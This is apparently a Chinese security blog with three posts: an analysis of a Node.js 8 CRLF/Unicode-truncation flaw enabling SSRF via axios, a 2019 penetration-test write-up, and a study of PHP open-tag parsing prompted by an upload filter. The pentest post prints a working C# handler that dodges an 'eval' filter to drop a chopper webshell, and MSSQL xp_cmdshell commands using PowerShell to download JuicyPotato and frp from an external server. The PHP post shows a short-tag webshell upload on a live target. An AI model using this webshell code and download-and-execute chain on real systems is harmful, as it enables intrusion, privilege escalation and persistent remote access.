Internal System && NodeJs V8 CRLF

NodeJs V8 CRLF

起初是看赵今大佬,发的虎符 CTF2021 wp。链接在此:https://www.zhaoj.in/read-6905.html

感觉这题目很有意思,出题的思路是利用:

NodeJs V8中的http存在Crlf漏洞,因为axios依赖http库,所以导致可以构造crlf来进行POST并且ssrf内网应用。

更多题目相关的东西,在赵今大佬的WP上更为详细,此篇文章就纯粹在复现学习中遇到的一些思考和研究。

crlf

首先,CRLF 指的是回车符换行符,操作系统就是根据这个标识来进行换行的。

CRLF注入漏洞检测,基本是通过修改HTTP参数,注入恶意畸形的数据,最后查看构造的恶意数据是否注入在响应头内。

如:

https://www.blackhat.com/docs/us-17/thursday/us-17-Tsai-A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages.pdf

这是一个过滤不严格导致的可以输入%0D%0A这两个字符制造换行效果的漏洞。

个人觉得,这种问题绝大多数都是后端代码所依赖的请求库未对恶意数据进行编码过滤导致的。

NodeJs V8 CRLF

该漏洞是由于Node.js版本8的http库处理unicode字符时候产生了错误。正常来说,当尝试发送一个路径含有控制字符的HTTP请求,它们将会被编码或者过滤:

> http.get('http://example.com/\r\n/test')
[ 'GET //test HTTP/1.1\r\nHost: example.com\r\nConnection: close\r\n\r\n']

但是范围在[6.0.0, 6.15.0) 和 [8.0.0, 8.14.0) 版本以内的nodejs都存在这个问题,也就是在处理unicode字符的时候,http包默认使用了latin1单字节编码,但是但是unicode却是多字节编码,因此在处理的时候,就会进行截断。

> Buffer.from('\u{0130}','latin1')
<Buffer 30>   =>   变成了\u30
> Buffer.from('\u{0131}','latin1')
<Buffer 31>   =>   变成了\u31

我们看看nodejs 8的源码,下载地址https://nodejs.org/download/release/v8.0.0/

nodejs下http有清晰的源码架构

Node源码解析: https://www.sweetalkos.com/post/184

  1. _http_agent.js: 对应Agent类,负责管理http客户端的连接持久性和重用。
  2. _http_client.js: 对应http.ClientRequest类,负责正在进行中的请求实现。
  3. _http_server.js: 对应http.Server类和http.ServerResponse类,负责服务器和服务器响应实现。
  4. _http_incoming.js: 对应http.IncomingMessage类,两端回调的res继承该类。
  5. _http_outgoing.js: 对应http.OutgoingMessage类,两端回调的req继承该类。
  6. _http_common.js: 负责提供上面各个http子模块都会用到的通用方法,比如http解析。

着重看_http_client.js,因为我们只是想知道它如何导致了unicode高位截断。

Example:http://127.0.0.1:8888/?param=x\u{0120}HTTP/1.1

_http_client.js最核心为ClientRequest函数,使用了url.parse来解析传入的example

function ClientRequest(options, cb) {
  OutgoingMessage.call(this);

  if (typeof options === 'string') {
    options = url.parse(options);//解析
    if (!options.hostname) {
      throw new Error('Unable to determine the domain name');
    }
  } else if (options && options[searchParamsSymbol] &&
             options[searchParamsSymbol][searchParamsSymbol]) {
    // url.URL instance
    options = urlToOptions(options);
  } else {
    options = util._extend({}, options);
  }

  var agent = options.agent;
  var defaultAgent = options._defaultAgent || Agent.globalAgent;
  ......

会根据对应的规则来解析出protocol、host、port、hostname等。

> url.parse('http://127.0.0.1:8888/?param=x\u{0120}HTTP/1.1')
Url {
  protocol: 'http:',
  slashes: true,
  auth: null,
  host: '127.0.0.1:8888',
  port: '8888',
  hostname: '127.0.0.1',
  hash: null,
  search: '?param=xĠHTTP/1.1',
  query: 'param=xĠHTTP/1.1',
  pathname: '/',
  path: '/?param=xĠHTTP/1.1',
  href: 'http://127.0.0.1:8888/?param=xĠHTTP/1.1'
}

继续跟进,往下都是一些不合法的HTTP参数的限制

var path;
  if (options.path) {
    path = '' + options.path;
    var invalidPath;
    if (path.length <= 39) { // Determined experimentally in V8 5.4
      invalidPath = isInvalidPath(path);
    } else {
      invalidPath = /[\u0000-\u0020]/.test(path);
    }
    if (invalidPath)
      throw new TypeError('Request path contains unescaped characters');
  }

  if (protocol !== expectedProtocol) {
    throw new Error('Protocol "' + protocol + '" not supported. ' +
                    'Expected "' + expectedProtocol + '"');
  }

细心的发现,这里有一个invalidPath的处理,如何检测到 /[\u0000-\u0020]/,就会抛出异常。

在官方GitHub的源码,这个位置,加了一处校验代码。https://github.com/nodejs/node/blob/v8.x/lib/_http_client.js

const INVALID_PATH_REGEX = /[^\u0021-\u00ff]/;
......
if (options.path) {
    path = String(options.path);
    var invalidPath;
    if (REVERT_CVE_2018_12116) {//加了一处判断条件
      if (path.length <= 39) { // Determined experimentally in V8 5.4
        invalidPath = isInvalidPath(path);
      } else {
        invalidPath = /[\u0000-\u0020]/.test(path);
      }
    } else {
      invalidPath = INVALID_PATH_REGEX.test(path);//使用了另一个正则
    }

一旦检测到\u0021-\u00ff或者/[\u0000-\u0020]/就会报错。

即使这样我觉得还是没完全修复,为什么呢?上面我们说到 latin1单字节编码,unicode是多字节,即使你过滤了\u0000\u00ff 但是由于多字节编码转单字节编码会被截断,所以我完全可以用\u1120 等其他unicode的来绕过你的限制,只要保证我截断之后是我想要的就可以。

因此这就是那个漏洞的原因:为什么在使用unicode编码时是u{01xx}而不是u{00xx}

但是现在最新的node,会在处理之前对其url编码(v12)https://github.com/nodejs/node/blob/master/lib/_http_client.js

所以这个问题只存在版本8以下。继续跟进,来到210行,

this._storeHeader(this.method + ' ' + this.path + ' HTTP/1.1\r\n',
                      options.headers);

准备写入header头,跟进_storeHeader,在node-v8.0.0lib_http_outgoing.js文件下

此时我们的恶意path在第一个参数,而_storeHeader的第一个入参为firstLine,并写进state中

function _storeHeader(firstLine, headers) {
  // firstLine in the case of request is: 'GET /index.html HTTP/1.1\r\n'
  // in the case of response it is: 'HTTP/1.1 200 OK\r\n'
  var state = {
    connection: false,
    connUpgrade: false,
    contLen: false,
    te: false,
    date: false,
    expect: false,
    trailer: false,
    upgrade: false,
    header: firstLine
  };
    .....
    if (headers === this[outHeadersKey]) {
    for (key in headers) {
      var entry = headers[key];
      field = entry[0];
      value = entry[1];

      if (value instanceof Array) {
        if (value.length < 2 || !isCookieField(field)) {
          for (j = 0; j < value.length; j++)
            storeHeader(this, state, field, value[j], false);//写入header头
          continue;
        }
        value = value.join('; ');
      }
   ......
   
   if (state.expect) this._send('');//发送
   }

所以紧跟state,storeHeader中有一个过滤的函数

function escapeHeaderValue(value) {
  // Protect against response splitting. The regex test is there to
  // minimize the performance impact in the common case.
  return /[\r\n]/.test(value) ? value.replace(/[\r\n]+[ \t]*/g, '') : value;
}//这里吧\r\n给过滤了。

function storeHeader(self, state, key, value, validate) {
  if (validate) {
    if (typeof key !== 'string' || !key || !checkIsHttpToken(key)) {
      throw new TypeError(
        'Header name must be a valid HTTP Token ["' + key + '"]');
    }
    if (value === undefined) {
      throw new Error('Header "%s" value must not be undefined', key);
    } else if (checkInvalidHeaderChar(value)) {
      debug('Header "%s" contains invalid characters', key);
      throw new TypeError('The header content contains invalid characters');
    }
  }
  state.header += key + ': ' + escapeHeaderValue(value) + CRLF;//过滤了一些东西
  matchHeader(self, state, key, value);//
}

其余都是一些补全http的一些状态信息,直接快进到发送

OutgoingMessage.prototype._send = function _send(data, encoding, callback) {
  // This is a shameful hack to get the headers and first body chunk onto
  // the same packet. Future versions of Node are going to take care of
  // this at a lower level and in a more general way.
  if (!this._headerSent) {
    if (typeof data === 'string' &&
        (encoding === 'utf8' || encoding === 'latin1' || !encoding)) {
      data = this._header + data;
    } else {
      var header = this._header;
      if (this.output.length === 0) {
        this.output = [header];
        this.outputEncodings = ['latin1'];
        this.outputCallbacks = [null];
      } else {
        this.output.unshift(header);
        this.outputEncodings.unshift('latin1');
        this.outputCallbacks.unshift(null);
      }
      this.outputSize += header.length;
      this._onPendingData(header.length);
    }
    this._headerSent = true;
  }
  return this._writeRaw(data, encoding, callback);
};//之后就是通讯模型的发包,原始字节输出。

再此之前必须转为原始字节输出,而nodejs又是以latin1作为默认编码,但是unicode却是多字节编码,因此在处理的时候,就会进行截断。

axios

话又说回来,axios又是从哪里引入了http?才导致这个缺陷的呢?

这篇axios源码解析文章非常棒,思路很清晰 https://lxchuan12.gitee.io/axios/

我也在文中找到了答案,因为axios是根据当前环境引入,如果是浏览器环境引入xhr,是node环境则引入http。正是在这里,如果axios引入了带有问题的http库,那么就可以导致crlf。

一次项目渗透实战

一次项目渗透实战

19年的某次项目,回顾时候放出来做博客文章。

1. 后台getshell绕过

存在某处上传

这里发现上传任意文件,但是会检测文件内容,上传的不能带有eval。带有就会返回为空,不提交。

大致思路可以有:写一个文件保存的aspx,然后去访问,就可以再根目录生成一个aspx文件。不过这里很蛋疼,这个同样会检测,如果你代码里面写了eval,就会失败。这里我把eval做了一个数组,然后提交

代码如下:

<%@ WebHandler Language="C#" class="Handler" %>  
eval  
using System;  
using System.Web;  
using System.IO;  
public class Handler : IHttpHandler {  
public void ProcessRequest (HttpContext context) {  
context.Response.ContentType = "text/plain";  
char[] letters = { 'e', 'v', 'a', 'l'}; //弄了一个数组,来防止检测eval  
string st = "@ ";  
string ssa = "<%";  
string bb = "Page Language=\\"Jscript\\"%><%";  
string aa = new string(letters);  
string zcz = "(Request.Item[\\"chopper\\"],\\"unsafe\\");%>";  
string payload = ssa+st+bb+aa+zcz; //做了拼接  
StreamWriter file1= File.CreateText(context.Server.MapPath("root.aspx"));  
file1.Write(payload);  
file1.Flush();  
file1.Close();  
}  
public bool IsReusable {  
get {  
return false;  
}  
}  
}

上传成功。进入之后,权限很低,仅仅是iis用户

2. NET审计

得到shell权限之后,我分析了一波他的网站源码。
.NET core的反编译可以使用dnSpy 和 ILSpy 两个都可以
先来了解一下.NET的MVC模式

.NET的MVC路由配置

我有一个Products的请求,然后将它映射到相关的控制器,由控制器去构建Model,Model返回给控制器相关数据,控制器就将这些数据渲染给View,最终返回一个html页面给用户。
而这里要讲的路由就是,怎么把HTTP请求正确的映射给正确的Controller,并且映射到正确的方法上
路由分两种 一种是Conventional Routing 按约定配置路由

app.UseMvcWithDefaultRoute();  //使用默认路由,

等价于下面这种自定义路由

app.UseMvc(routes =>
{
   routes.MapRoute("default", "{controller=Home}/{action=Index}/{id?}");
});  //自定义路由,如果Http请求没有控制器,就自动找Home,没有方法就自动找Index

Http请求  /                     ->->  HomeController下的Index action
         /computer/index       ->->  computerController下的Index action

第二种是Attribute Routing 特性路由(webapi)

例子,现在有一个controllers名为about,其有两个方法me和company
namespace Tutorial.Web.Controllers
{
    [Route("about")]    //这种就是。Controller级别的.想访问这个About控制器,路径必须以about开始
    // [Route("[Controller]/[action]")]  或者直接这样子
    public class AboutController
    {
      //  假设我想直接输入/About  就能访问me 就把Route留空。
        [Route(" ")]
        public string Me()
            
        {
            return "HH";
        }
        [Route("Company")]   //匹配Company
        public string Company()
        {
            return "AA";
        }
    }
}

? 将一个路由参数标记为 可选参数
[Route("api/product/{id:int}")]   将id参数绑定为int类型
[HttpPost]
[Route("api/product/{id}")]   标记为post类型    

审计过程

这个程序我一步一步来说我的思路,毕竟我才入门.NET ,可能有一点不准确。还请指出我存在的错误。
首先我要弄懂的是这个CMS是怎么去访问的,怎么映射到相关方法,权限控制哪些能访问的。
在.NET中,上面说的路由,是HTTP请求正确的映射给正确的Controller,并且映射到正确的方法上。但是在映射之前,你需要指定程序去服务才行。
web.config默认配置就有说明,怎么去服务请求的.
这是manager的配置,可以看到访问/API/ 就把请求给webapihandle去服务

这是webapihandle的文件内容


实现了一个一般处理程序处理过程(HttpHandler),来响应我们的http请求。
然后接受我们的参数,通过反射的方法调用其它dll中的类和方法

加载dll文件

通过HTTP请求来访问加载dll文件的方法和属性.例如。

http://localhost/API/SystemUser/Create/ 返回:[0]:API,[1]:SystemUser,[2]:Create</example>

requestObject是加载方法,而parametValues是方法所需要的参数。然后调用该方法和类,传参,如果请求成功则返回json数组,请求失败则用自定义的json数组

这里我觉得需要注意的,它请求的类名都是以API结尾的,所有我们就能解释后面访问为什么不需要加上API。

下面这一块我尝试理解了一下,这里应该是一个改写的Route,它大概实现了对路由的控制功能,这里分三种情况

  • [WebAPI(false)] 不用判断登入状态
  • [WebAPI("xxx.Access")] 判断登入状态且判断用户权限
  • [WebAPI] 单单判断登入状态


我们没有登入的方法,所以需要去找那些不需要登入的方法。
大概说了一下我怎么去看这个cms的,下面漏洞发现过程就不一一细说了。我是一个一个方法去看,只看我能访问的。

审计结果

找了以下几个漏洞。
一处上传漏洞

一处sql注入,很明显了。直接拼接code,没有做任何处理。

一处上传漏洞,直接把文件后缀当作保存文件后缀,没自定义

image-20210317222911926image-20210317222911926

又一处sql注入漏洞,带报错的
image-20210317222920955image-20210317222920955

3.烂土豆提权

偶然发现这个烂土豆,windows的一个本地特权提升工具。

image-20210317222930417image-20210317222930417

光提权没用,想登入3389得做映射。这里我用了frp来端口映射。

image-20210317222938424image-20210317222938424

frpc -c frpc.ini
OK!
image-20210317222947760image-20210317222947760

4.Mssql提权

刚好之前找到了一个mssql的数据库可以外连。

阿里云的,,服务器。

试试能不能开启mssql的命令执行

MSSQL开启命令执行

exec sp_configure 'show advanced options',1;reconfigure;

exec sp_configure 'xp_cmdshell',1;reconfigure;

exec master.dbo.xp_cmdshell 'whoami';

我日,有戏。

这里我就一个命令执行,新加用户也没有权限,而且只开了1433.。。

我就想,之前用烂土豆把用户给增加了,这台机器也是2012的,说不定有戏

先把烂土豆上传上去,把烂土豆放在外网服务器上,然后用powershell下载

exec master.dbo.xp_cmdshell 'powershell "powershell (new-object System.Net.WebClient).DownloadFile(''http://你的服务器地址/JuicyPotato.exe'',''C:\Users\MSSQLSERVER\Downloads\123.exe'')"';

成功!!

因为也没开3389,继续用frp映射出来

exec master.dbo.xp_cmdshell 'powershell "powershell (new-object System.Net.WebClient).DownloadFile(''服务器/frpc.exe'',''C:\Users\MSSQLSERVER\Downloads\frpc.exe'')"';

exec master.dbo.xp_cmdshell 'powershell "powershell (new-object System.Net.WebClient).DownloadFile(''服务器/frpc.ini'',''C:\Users\MSSQLSERVER\Downloads\frpc.ini'')"';

一次不必要的调试PHP-SRC

一次不必要的调试PHP-SRC

和小伙伴一起折腾一个项目,小伙伴从一个子站利用tp5rce打到了shell,找到了数据库的密码,我的目标和子站共用一个数据库,他就把测试账户丢给我了。进到后台,发现可以修改上传文件类型。我寻思着,我这个是不是也得想想怎么办。

15682827007541568282700754

修改成允许php的类型上传,但是但是,上传关于<?php 就会失败

15699037312351569903731235

15699038043271569903804327

遇到这种,我第一时间想到的就是PHP短标签。可是有时候目标没开启短标签,怎么办?

还有一种PHP的词法

<script language="php"></script>

可是这种,PHP7就不支持了。

也尝试了图片马,但是不知道为什么没执行成功。脑阔疼。我去问大佬,大佬推荐我看一下PHP的词法解析和语法解析。反正那时候没有什么好办法,看就看吧。

由于目标是php7.2的,跑去下载了php7.2的源码包

15682891527881568289152788

解决过程

PHP的官网有一个T_SR的一些标识符,上面很明确了各个版本的一些标识符的作用。

15699033090591569903309059

T_OPEN_TAG是php-zend引擎解析php语法打的标签,(这个文档不知道是哪个版本的,我看php-src里面没用<% == 当时坑了我一下)

所以真正准确的T_OPEN_TAG在

php-src-php-7.2.13\php-src-php-7.2.13\Zend\zend_language_scanner.l

15699034979051569903497905

解释一下,只有<?= 和<?php 能使用,因为<? 这个需要开启short_tags 也就是大家熟悉的短标签。

现在找到了<?php的替代,去试试去。

POST :

<?= phpinfo();?>

15699038941291569903894129

成了。搞定就想休息,等过了一段时间,再去上传一句话的时候,发现。。目标已经转了阿里云资源服务器==

15699041642551569904164255

就想看看PHP的词法分析(下面是我收集资料理解的,可能理解的不对,还请大佬们斧正)

PHP

PHP是怎么运行的?

首先,PHP是一门解释型的语言。PHP执行的时候,需要把PHP代码翻译成机器语言来执行(所以需要一个解释器,但是为了效率不可能每一次都重新解释,所以PHP中就有各种的opcode)。

而翻译这个过程,就是在PHP的内核完成的,向其他语言一样,都会有自己的语法风格。所以继续进行词法分析(像<?php这些),然后再进行语法分析,判断语法是否符合规范。最后交给Zend 去执行。

那么问题来了,PHP内核怎么接受PHP代码呢?

SAPI 一切的开始

SAPI接口是负责对各个接入层的抽象

PHP在Apache模块里边的实现,Fast-CGI的实现,命令行CLI的实现

15699053033311569905303331

然后顺带注册一些全局变量,然后接着执行词法分析->语法分析->生成opcode

词法分析

跟着拉风大佬的分析方法,源码高亮

我们从cli命令行下追溯如何进入词法分析流程。

先来看看php -s 在 sapicliphp_cli.c

注意到这里还有一个行为 PHP_MODE_PROCESS_STDIN和PHP_MODE_CLI_DIRECT

查了相关资料知道:

PHP_MODE_PROCESS_STDIN 程序阻塞在一个循环中,执行每一行输入,直到用户中断或异常退出。

15700006032401570000603240

PHP_MODE_CLI_DIRECT 应该是cli下的一个模式,跟着进去就可以看到使用了zend_eval_string_ex去处理。

15700975468431570097546843

追踪到zend_eval_string_ex上,可以看到调用了zend_eval_stringl_ex,继续就是转给了zend_eval_stringl处理

15700977391231570097739123

关于zend_eval_stringl就是函数编译代码生成字节码 new_op_array,再调用 zend_execute 函数执行生成的字节码

15700995858821570099585882

看一下另外一个PHP_MODE_PROCESS_STDIN

15700008225111570000822511

在这个模式下, 程序阻塞在一个循环中,执行每一行输入,直到用户中断或异常退出。所以这个应该是切割每一行的。

而执行的话应该是这两个,

php_execute_script
zend_eval_string_ex和zend_execute_scripts类似,不过前者编译的是一个串,后者编译的是一个PHP文件。

php_execute_script在其定义下,op_array是通过zend_compile_file获取,然后就用zend_execute去执行

15700035535801570003553580

先找这个zend_compile_file,发现在PHP启动Zend时候,就已经改成了compile_file。

在php-src-php-7.2.13Zendzend.c

15700036944601570003694460

compile_file 在php-src-php-7.2.13Zendzend_language_scanner.c 下

15700038310491570003831049

可以发现op_array 又从zend_compile这里拿,(zend_compile的函数实现)

现在拿到了op_array,我们回去zend.c的zend_execute_scripts中,发现最后执行op_array的是zend_excute

15700049695631570004969563

这两个模式大致就是检查是否文件运行,因为我们是在cli命令行下去执行,如果这两个没通过就会抛出异常。

下面去看看PHP_MODE_HIGHLIGHT

15699077329871569907732987

然后就调用了

15699077512301569907751230

在 php-src-php-7.2.13Zendzend_highlight.c

就进入了lex_scan词法分析,获取Token,然后加入对应的颜色

15699078418531569907841853

lex_scan则在 php-src-php-7.2.13Zendzend_language_scanner.c 下

在php-src下有三个相关的文件

zend_language_scanner.c  //主要的代码
zend_language_scanner.l     //基于re2c生成的语法规则
zend_language_scanner.h  //头文件

然后将源代码按照词法规则切分一个一个的标记(token)

15700988864321570098886432

这是词法分析注释

15700989089441570098908944

那么词法分析之后,怎么去执行呢?给大家一看就知道了,-s 仅仅是对代码进行高亮,没有去执行

15700985835411570098583541

总结

我捣鼓了那么久,总算把PHP的词法分析给弄明白点了。(这个还是拉风大佬的图)

词法语法分析就是通过lex_scan去按照规则语法去打标签,然后匹配某一条规则语法。php_execute_script这个PHP执行的入口,调了zend_execute_scripts。而zend_execute_scripts这个函数里面,又调用了zend_compile_file和zend_execute,zend_compile_file在初始时候就变成了compile_file它用于生成opcode中间代码,然后交给zend_execute去执行。

15701004548351570100454835

15701013474101570101347410

大概是这个意思。这里我感觉,有一些时候,网上的套路总要用源代码去解释,追根溯源。这次的瞎折腾,感觉还是有点没看透,寻思着在分析分析。得看看函数实现等等

参考资料:

https://www.cnblogs.com/yjf512/category/272034.html

https://www.notee.cc/PHP/engine_general_lifetime_of_php_code_1/#php_mode_process_stdin

https://www.kancloud.cn/kancloud/php-internals/42752

https://www.php.net/manual/zh/internals2.ze1.zendapi.php

http://rapheal.sinaapp.com/2013/11/